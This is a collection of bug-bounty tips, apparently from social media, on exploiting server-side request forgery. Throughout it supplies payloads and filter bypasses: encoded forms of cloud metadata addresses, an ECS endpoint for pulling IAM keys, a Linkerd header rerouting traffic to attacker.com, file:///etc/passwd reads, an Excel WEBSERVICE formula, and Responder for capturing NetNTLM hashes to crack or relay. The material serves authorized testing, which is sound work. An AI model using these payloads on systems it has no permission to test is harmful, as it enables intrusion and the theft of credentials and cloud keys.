#BugBounty Tip: When you find an SSRF vulnerability, run Responder on your server and make the vulnerable system connect back to you. Sometimes you can get NetNTLM hashes and either crack them or escalate it to an SMB Relay attack. #bugbountytip
Use URLs with embedded credentials (e.g. http://user:[email protected]) to login on internal http services when exploiting SSRF vulnerability.
#bugbountytip Found Linkerd service (look for headers such as “Via: linkerd” or “l5d-*”)? Try SSRF by overriding dtab via request header, e.g. “l5d-dtab: /svc/* => /$/inet/attacker.com/80” to reach your server or “l5d-dtab: /svc/* => /$/inet/169.254.169.254/80” for AWS metadata.
In case you wanted to test an SSRF but don't own a vps and burp collaborator is blocked you can use this https://canarytokens.org/generate
#Bugbountytip Got a SSRF? no metadata endpoints to hit? Try https://kubernetes.default.svc/metrics if you get a load crap come back jackpot you've hit the kubernetes API and this should indicate it's shit the bed time for any security team. (url can change)
When you have a SSRF vulnerability on a Google Cloud server, the fastest way to grab all internal metadata is this "All in one" payload : hxxp://metadata.google.internal/computeMetadata/v1beta1/?recursive=true #BugBountyTip
Just had a weird SSRF 'bypass' which would only pull data from their domain so anything you queried would be hxxps://www.theirdomain.com/reflectedhere/. Weirdly using /%2F//mysite.com/ caused it to hit external sites. Why? I have no idea. #bugbountytip
When dealing with SVG XLINK SSRF, in order to fingerprint the versions of libraries on vulnerable server, Generate the wordlist locally and fuzz it. find /usr -type f -name "*.png" >> all_usr_png.txt #bugbountytip
#bugbountytip Use URLs with embedded credentials (e.g. http://user:[email protected]) to login on internal http services when exploiting SSRF vulnerability.
Did you find the #SSRF, but http://169.254.169.254/ is blacklisted? #protip try http://0xA9FEA9FE/, http://0251.0376.0251.0376/ or get more examples from @agarri_fr talk
#BugBounty #bugbounties #bugbountytip #infosec Bypass #SSRF filters by using http://127.1 instead of http://127.0.0.1 It resolves to the same but confuses filters blocking localhost/127.0.0.1 specifically!
#SSRF #ProTip Sometimes, the server appends something (path, parameters, ...) to an URL your control. Simply add "#" to your URL, that may work!
Found a JIRA SSRF and want to make it more impactful? Look for what's running on port 7990, you might end up in a BitBucket server running internally with public repo access. If yes, source code is just a few hacks away.
If an app accepts XLSX to convert to PDF/HTML it may run the file through MS Excel to eval formulas/convert. Try testing =WEBSERVICE(http://google.com ) and see if XML/HTML is added to the form (insta-SSRF). No clue excel even had this function #bugbountytip #bugbountytips
169.254.169.254 http://169.254.169.254.xip.io credit to @xenonxesece tweet. #SSRF #bugbountytips #Bugcrowd #bugbounty
SSRF are file:///etc/passwd : Not authorized file://\/\/etc/passwd : Work
One ssrf/lfi I come across is using UNC file paths. If you’re testing a windows host and the application is loading file.txt you can replace that with \\http://dns.you.com\a and look for a dns hit and then try Responder if there’s egress or \\[email protected]\
When testing for SSRF, change the HTTP version from 1.1 to HTTP/0.9 and remove the host header completely. This has worked to bypass several SSRF fixes in the past. #bugbountytip #bugbountytip #bugbounty
Got RCE or SSRF inside an AWS Lambda function? Request "localhost:9001/2018-06-01/runtime/invocation/next" for the function's event data. Check the HTTP headers returned [email protected]
file:///etc/passwd : Not authorized
file://\/\/etc/passwd : Work #BugBounty
If you have an SSRF with file system access on an ECS instance then try extracting /proc/self/environ to get UUID and then try hitting ECS metadata curl http://169.254.170.2/v2/credentials/
This way you'll extract IAM keys of the attached role
SSRF at an endpoint looking for a valid YouTube url. http://127.0.0.1:80 doesn’t work but http://127.0.0.1:80?http://youtu.be/dQw4w9WgXcQ works